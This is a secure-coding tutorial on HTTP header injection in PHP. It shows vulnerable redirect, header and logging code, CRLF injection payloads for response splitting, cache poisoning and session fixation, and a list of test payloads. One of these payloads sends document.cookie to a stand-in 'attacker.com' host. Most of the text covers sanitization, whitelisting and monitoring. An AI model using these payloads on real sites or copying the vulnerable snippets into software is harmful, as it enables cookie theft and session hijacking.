HTTP Header Injection Explained
HTTP Header Injection is a critical web security vulnerability that occurs when an application allows user-controlled input to be inserted into HTTP response headers without proper validation or sanitization. This vulnerability can lead to various attacks including HTTP Response Splitting, Cross-Site Scripting (XSS), cache poisoning, and session hijacking.
In PHP applications, header injection typically occurs when user input is passed directly to functions like header()
, setcookie()
, or setrawcookie()
without proper validation.
Understanding HTTP Headers
HTTP headers are key-value pairs sent between client and server to provide metadata about the request or response. They follow a specific format:
Header-Name: Header-Value
Headers are separated by CRLF (Carriage Return + Line Feed: \r\n
) characters, and the header section ends with a double CRLF (\r\n\r\n
).
How Header Injection Works
Header injection exploits occur when an attacker can inject CRLF characters (\r\n
) into header values, allowing them to:
- Terminate the current header early
- Inject additional headers
- Potentially inject content into the response body
When user input containing CRLF characters is passed to header functions, it can break the header structure:
Normal header: Location: /dashboard
Injected input: /dashboard\r\nSet-Cookie: admin=true
Result: Location: /dashboard
Set-Cookie: admin=true
Basic Redirect Vulnerability
<?php
// Vulnerable redirect functionality
if (isset($_GET['redirect'])) {
$redirect_url = $_GET['redirect'];
header("Location: " . $redirect_url);
exit();
}
?>
http://example.com/redirect.php?redirect=http://evil.com%0d%0aSet-Cookie:%20admin=true
This would result in:
Location: http://evil.com
Set-Cookie: admin=true
Custom Header Injection
<?php
// Vulnerable custom header setting
if (isset($_POST['username'])) {
$username = $_POST['username'];
header("X-User: " . $username);
echo "Welcome, " . htmlspecialchars($username);
}
?>
username=admin%0d%0aSet-Cookie:%20session=hijacked%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('XSS')</script>
Log File Injection
<?php
// Vulnerable logging functionality
function logUserAction($action, $user_agent) {
$log_entry = date('Y-m-d H:i:s') . " - Action: $action - User-Agent: $user_agent\n";
file_put_contents('/var/log/app.log', $log_entry, FILE_APPEND);
// Also set a tracking header
header("X-Action-Logged: " . $action);
}
if (isset($_POST['action'])) {
logUserAction($_POST['action'], $_SERVER['HTTP_USER_AGENT']);
}
?>
Attack Scenarios and Impact
1. HTTP Response Splitting
Attackers can split the HTTP response and inject malicious content:
// Vulnerable code
header("Location: " . $_GET['url']);
// Attack URL:
// ?url=http://example.com%0d%0a%0d%0a<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
2. Cache Poisoning
Injecting cache-control headers to poison web caches:
// Attack payload in redirect parameter:
// ?redirect=/page%0d%0aCache-Control:%20public,%20max-age=31536000%0d%0a%0d%0a<script>/* malicious code */</script>
3. Session Fixation
Setting or overriding session cookies:
// Attack payload:
// ?redirect=/dashboard%0d%0aSet-Cookie:%20PHPSESSID=attacker_controlled_session_id
4. Cross-Site Scripting (XSS)
When headers influence page content or when response splitting allows HTML injection:
// If the application reflects header values in HTML
echo "Redirecting to: " . $_GET['redirect'];
header("Location: " . $_GET['redirect']);
// Attack payload:
// ?redirect=javascript:alert('XSS')%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('XSS')</script>
Detection and Testing
Manual Testing
- Identify header injection points - Look for parameters that influence HTTP headers
- Test with CRLF characters - Try payloads with
%0d%0a
(URL-encoded CRLF) - Monitor responses - Check if injected headers appear in the response
Common Test Payloads
# Basic CRLF injection
%0d%0aSet-Cookie:%20test=injected
# Response splitting attempt
%0d%0a%0d%0a<script>alert('XSS')</script>
# Cache poisoning test
%0d%0aCache-Control:%20public,%20max-age=31536000
# Multiple header injection
%0d%0aX-Injected:%20true%0d%0aSet-Cookie:%20admin=1
Automated Testing Tools
- Burp Suite - Web application security scanner
- OWASP ZAP - Free security testing proxy
- SQLMap - Can detect some header injection vulnerabilities
- Custom scripts using curl or similar tools
Prevention and Mitigation
1. Input Validation and Sanitization
<?php
function sanitizeHeaderValue($value) {
// Remove CRLF characters
$value = str_replace(["\r", "\n", "\r\n"], '', $value);
// Additional validation based on expected format
$value = filter_var($value, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH);
return $value;
}
// Safe redirect
if (isset($_GET['redirect'])) {
$redirect_url = sanitizeHeaderValue($_GET['redirect']);
// Additional URL validation
if (filter_var($redirect_url, FILTER_VALIDATE_URL)) {
header("Location: " . $redirect_url);
exit();
} else {
// Handle invalid URL
header("Location: /error");
exit();
}
}
?>
2. Whitelist Validation
<?php
function validateRedirectUrl($url) {
$allowed_domains = [
'example.com',
'subdomain.example.com',
'trusted-partner.com'
];
$parsed_url = parse_url($url);
if (!$parsed_url || !isset($parsed_url['host'])) {
return false;
}
return in_array($parsed_url['host'], $allowed_domains);
}
// Safe redirect with whitelist
if (isset($_GET['redirect'])) {
$redirect_url = $_GET['redirect'];
if (validateRedirectUrl($redirect_url)) {
// Still sanitize even with whitelist
$redirect_url = sanitizeHeaderValue($redirect_url);
header("Location: " . $redirect_url);
exit();
} else {
// Redirect to safe default
header("Location: /dashboard");
exit();
}
}
?>
3. Using Built-in PHP Functions Safely
<?php
// Safe cookie setting
function setSecureCookie($name, $value, $expire = 0) {
// Sanitize inputs
$name = preg_replace('/[^a-zA-Z0-9_-]/', '', $name);
$value = str_replace(["\r", "\n", "\r\n"], '', $value);
// Use PHP's built-in function with proper parameters
setcookie($name, $value, [
'expires' => $expire,
'path' => '/',
'domain' => '',
'secure' => true, // HTTPS only
'httponly' => true, // No JavaScript access
'samesite' => 'Strict' // CSRF protection
]);
}
// Safe header setting with validation
function setSafeHeader($name, $value) {
// Validate header name
if (!preg_match('/^[a-zA-Z0-9-]+$/', $name)) {
throw new InvalidArgumentException('Invalid header name');
}
// Sanitize header value
$value = str_replace(["\r", "\n", "\r\n"], '', $value);
header($name . ': ' . $value);
}
?>
4. Content Security Policy (CSP)
Implement CSP headers to mitigate XSS risks:
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'");
?>
5. Framework-Specific Solutions
Laravel
// Laravel provides built-in protection
return redirect()->away($url); // Validates URLs
return response()->header('X-Custom', $value); // Sanitizes headers
Symfony
use Symfony\Component\HttpFoundation\Response;
$response = new Response();
$response->headers->set('X-Custom', $value); // Built-in sanitization
Advanced Prevention Techniques
1. Output Encoding
<?php
function encodeForHeader($value) {
// RFC 5987 encoding for header values with special characters
return "UTF-8''" . rawurlencode($value);
}
// Example usage
$filename = $_GET['filename'];
$encoded_filename = encodeForHeader($filename);
header("Content-Disposition: attachment; filename*=" . $encoded_filename);
?>
2. Request Validation Middleware
<?php
class HeaderInjectionMiddleware {
public static function validate($input) {
if (is_array($input)) {
array_walk_recursive($input, [self::class, 'sanitizeValue']);
} else {
self::sanitizeValue($input);
}
return $input;
}
private static function sanitizeValue(&$value) {
if (is_string($value)) {
// Remove CRLF and other control characters
$value = preg_replace('/[\r\n\x00-\x1F\x7F]/', '', $value);
}
}
}
// Usage
$_GET = HeaderInjectionMiddleware::validate($_GET);
$_POST = HeaderInjectionMiddleware::validate($_POST);
?>
3. Logging and Monitoring
<?php
function logSuspiciousActivity($input, $source) {
if (preg_match('/[\r\n]/', $input)) {
$log_entry = [
'timestamp' => date('c'),
'type' => 'header_injection_attempt',
'input' => $input,
'source' => $source,
'ip' => $_SERVER['REMOTE_ADDR'],
'user_agent' => $_SERVER['HTTP_USER_AGENT'] ?? 'unknown'
];
error_log(json_encode($log_entry), 3, '/var/log/security.log');
// Consider blocking the IP or taking other defensive actions
}
}
// Usage in application
if (isset($_GET['redirect'])) {
logSuspiciousActivity($_GET['redirect'], 'redirect_parameter');
// ... rest of validation logic
}
?>
Testing Your Application
Security Checklist
- Audit all header() calls - Review every instance where user input influences headers
- Test with CRLF payloads - Use various encoding methods (%0d%0a, %0a, %0d)
- Validate redirect URLs - Ensure only trusted domains are allowed
- Check cookie handling - Verify secure cookie attributes
- Test error responses - Ensure error messages don't leak sensitive information
- Monitor logs - Set up alerts for suspicious patterns
Code Review Questions
- Are all user inputs that influence HTTP headers properly validated?
- Is there a whitelist for allowed redirect URLs?
- Are CRLF characters being filtered from header values?
- Are cookies set with secure attributes (HttpOnly, Secure, SameSite)?
- Is there proper error handling that doesn't expose system information?
Conclusion
HTTP Header Injection is a serious vulnerability that can lead to various attacks including XSS, cache poisoning, and session hijacking. The key to prevention is proper input validation, sanitization, and the use of secure coding practices.
Always remember:
- Validate and sanitize all user inputs before using them in headers
- Use whitelists for redirect URLs and other critical values
- Implement proper logging to detect attack attempts
- Keep frameworks updated to benefit from built-in security features
- Regular security testing should include header injection tests
By following these guidelines and implementing proper security measures, you can effectively protect your PHP applications from HTTP Header Injection attacks.